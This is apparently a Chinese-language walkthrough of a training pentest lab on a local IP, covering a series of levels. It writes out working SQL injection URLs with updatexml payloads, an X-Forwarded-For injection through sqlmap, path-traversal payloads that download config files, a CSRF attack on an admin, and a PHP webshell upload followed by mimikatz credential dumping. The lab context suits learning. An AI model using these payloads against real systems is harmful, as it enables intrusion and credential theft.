第一关
http://192.168.1.242/pentest/test/sqli/sqltamp.php?gid=1' and updatexml(1,concat(0x02,(select database()),0x02),1)%23
and updatexml(1,concat(0x02,(select group_concat(table_name) from information_schema.tables where ),0x02),1)%23
得到pentesterlab数据库
http://192.168.1.242/pentest/test/sqli/sqltamp.php?gid=1' and updatexml(1,concat(0x02,(select group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'),0x02),1)%23
得到comment,flag,goods,user表名
http://192.168.1.242/pentest/test/sqli/sqltamp.php?gid=1' and updatexml(1,concat(0x02,(select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='pentesterlab'),0x02),1)%23
得到id,flag字段名
http://192.168.1.242/pentest/test/sqli/sqltamp.php?gid=1'and%20updatexml(1,concat(0x02,(select flag from pentesterlab.flag),0x02),1)%23
拿到flag 204f704fbbcf6acf398ffee11989b37
第三关
ea8bf0e1321b5291提交后变成404

提示说目录很重要,那就找一下他的目录,这里直接删掉路径后面的页面,得到目录

准备各点进去看看,先点击第一列,结果找到flag:人人都知道站长是个大帅比

第四关
利用burp suite抓包,进行密码爆破


找到用户名admin,密码admin123
第五关
百度XFF注入方法,使用方法如下
利用burpsuite拦截数据,在头部信息中加入
X-Forwarded-for:' //和其他方法检测是否存在sql注入一样,此处回显报错,证明存在sql xff注入
然后将输入的符号改为*
X-Forwarded-for:* //此处改为*是为了让sqlmap识别到此处,使用xff注入方式来注入
改好后将所有头部信息保存成1.txt,放到sqlmap目录
sqlmap.py -r 1.txt --current-db //获取当前数据库

后面方法一样


最终得到flag 204f704fbbcf6acf398ffee11989b377
第六关
让不花钱买书,大概能想到的就是拦包改数据



第七关
越权两个字,点进去看看,是让改密码,大概是越权改别人的密码
点击更改密码,然后改密码的时候用抓包工具拦一下


成功
第八关
csrf的名字,告知10点管理员上线
点进去是更改密码,那也就是用csrf更改密码
我用抓包工具拦下来更改密码的包,然后用burp suite 生成一个csrf的页面,10点发给管理员,管理员打开后即可修改密码

第九关
跳转url到百度,添加参数url,转到百度
http://192.168.1.242/pentest/test/5/?url=http://www.baidu.com

第十关
此关链接显示错误,我通过后面的上传图片,传了一句话木马,查看一下源文件,发现有download.php文件,看内容这个文件才是此关本体。当然也可以不传一句话木马,遍历目录也是可以找到目录结构的,同样可以一个一个访问到此文件,找到此关本体

访问download.php文件发现传了一个储存图片名字的参数fname,知道此参数可以试试利用文件包含漏洞得到敏感文件,也就是得到另外一个遍历出来的配置文件config.php

构造一下url,http://192.168.1.242/pentest/test/6/1/download.php?fname=../../../pentest/test/6/1/db/config.php
结果下载出来config配置文件,在里面找到了mysql账号
第十一关
网页名字说帮管理员找回mysql账号密码,和上关一样,不过看不到那个fname参数了,使用抓包拦一下,看包

看到一个pic参数,和上关的fname作用应该是一样的,拿上关构造的payload试一下
pic=../../../pentest/test/7/1/db/config.php

拿到配置文件,得到mysql的账号
第十二关
是一个上传文件的地方,第一个想法就是上传一句话。。没有过滤直接都能传,传了一个php一句话
此关要求找到D盘的电脑系统密码,不过一句话木马发现获取不到D盘
百度了一下利用软件获取电脑账号密码,知道mimikatz此软件,然后找到github的共享的这个软件
链接:https://github.com/gentilkiwi/mimikatz/releases
下载zip格式的,然后解压发现一个x64,一个win32的,我先上传x64的试一下

发现得到的txt文件都是空的,然后再上传win32的这个软件试试,发现果然成功了,文件内容如下

使用虚拟终端 用命令netstat -nao 查看靶机的3389端口是否可以使用,结果是可以的,然后远程连接一下,发现连接成功,证明获得的密码正确

远程连接一下,看看可以是否可以登录,端口
C:/phpStudy/WWW/topsec/any_file_download_V1.0/data/dog_cat.jpg
group5 dbaaa5
网友评论